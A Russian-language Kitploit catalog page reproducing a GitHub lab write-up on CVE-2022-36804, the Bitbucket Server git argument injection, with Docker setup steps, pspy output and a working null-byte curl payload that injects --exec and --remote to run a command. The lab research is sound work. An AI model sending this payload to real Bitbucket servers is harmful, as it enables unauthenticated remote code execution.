Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
bitbucket-test — 调查 CVE-2022-36804 | Kitploit
Инструменты/GitHubGitHub/johangabrielson/bitbucket-test
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеЛаборатории и Практика
GitHubjohangabrielson/bitbucket-test

bitbucket-test

调查 CVE-2022-36804

Репозиторий
124 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Docker контейнер для исследования CVE-2022-36804

Воссоздание уязвимости удаленного выполнения кода, где Bitbucket не санирует пользовательский ввод, что позволяет злоумышленникам внедрять флаги Git и выполнять код удаленно.

В этом репозитории описано, как я воспроизвел уязвимость CVE-2022-36804 – проблему с внедрением аргументов до аутентификации в Bitbucket Server. Цель состояла в демонстрации основной проблемы безопасности, как описано в публичном отчете Assetnote. Все тесты проводились в изолированной локальной среде.

Обзор

CVE-2022-36804 вызвана тем, что Bitbucket передает пользовательский ввод напрямую в подпроцесс git archive без санитации нулевых байтов. Поскольку Bitbucket использует NuProcess для запуска git, нулевые байты сохраняются и вызывают разделение аргументов. Это позволяет злоумышленнику внедрить дополнительные флаги git в команду. В уязвимых версиях (например, 7.21.0, используемая в данной настройке) это приводит к удаленному выполнению кода без аутентификации.

CVE-2022-36804 объяснение

Эта уязвимость удаленного выполнения кода до аутентификации возникает в конечной точке /archive, которая отвечает за создание архивов репозиториев с помощью функции git archive. Bitbucket передает параметр prefix напрямую в подпроцесс git, но без санитации нулевых байтов. Поскольку git реализован на C, нулевой байт завершает строку раньше времени. Все, что находится после нулевого байта, интерпретируется как отдельный аргумент командной строки. Это позволяет злоумышленнику внедрять произвольные флаги git в команду.

Скачать инструмент

Это работает, потому что Bitbucket использует NuProcess, который сохраняет нулевые байты, а не удаляет их. В результате Git получает необработанный ввод точно в том виде, в котором он предоставлен пользователем. Поскольку git рассматривает нулевые байты как терминаторы строк, значение prefix разделяется на несколько аргументов при передаче в подпроцесс git. Это позволяет протащить дополнительные флаги git после нулевого байта. В сочетании с флагами --exec и --remote такое внедрение аргументов напрямую ведет к удаленному выполнению кода в уязвимых версиях Bitbucket Server.

Лабораторная установка

  • Bitbucket версии 7.21.0
  • Развертывание: Docker Compose
  • Репозиторий: публичный тестовый репозиторий (TEST/demo)
  • Хост: локальная изолированная лабораторная среда

Для запуска среды:

root@kitploit:~
docker compose up -d

Проверка версии:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

Демонстрация уязвимости

Ключ к этой CVE – показать, что нулевой байт в параметре prefix заставляет Bitbucket передавать несколько аргументов в git archive.

  1. Запустите pspy внутри контейнера Bitbucket
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Оставьте pspy запущенным.

  1. Вызовите уязвимую конечную точку с хоста:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

Это проверяет, вызывает ли нулевой байт разделение аргументов.

  1. Наблюдайте внедренные аргументы

В pspy Bitbucket генерирует:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

Здесь test и canary отображаются как отдельные аргументы, а не один. %00 разделил ввод, и Bitbucket вынужден передать их как независимые аргументы в git.

Изображение ниже показывает pspy, работающий внутри Docker-контейнера Bitbucket, который перехватывает /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). То, что было отправлено как одно значение – test%00canary – передается как два отдельных аргумента. Нулевой байт разделил ввод, что протаскивает дополнительный аргумент в команду git.

Skärmbild 2026-03-30 191936
  1. Полное доказательство RCE:

Внедряя --exec=touch /tmp/pwned и --remote=file:///... через нулевые байты, сервер выполняет произвольную команду. Несмотря на то, что git завершается с кодом 128, команда выполняется до того, как git выдает ошибку, и /tmp/pwned создается внутри контейнера. Payload:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

Изображение ниже показывает, как pspy перехватывает полную цепочку выполнения – /usr/bin/git archive запускается с аргументами --exec и --remote (PID=74412), порождая /bin/sh touch /tmp/pwned (PID=74413) Skärmbild 2026-04-12 165103

С помощью docker exec -it bitbucket ls -la /tmp/pwned удалось проверить, что файл был создан. Это показано на изображении ниже. Skärmbild 2026-04-12 164846

Ссылки

  • Assetnote: Bitbucket pre-auth rce via git argument injection
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Автор

Johan - Стокгольм, Швеция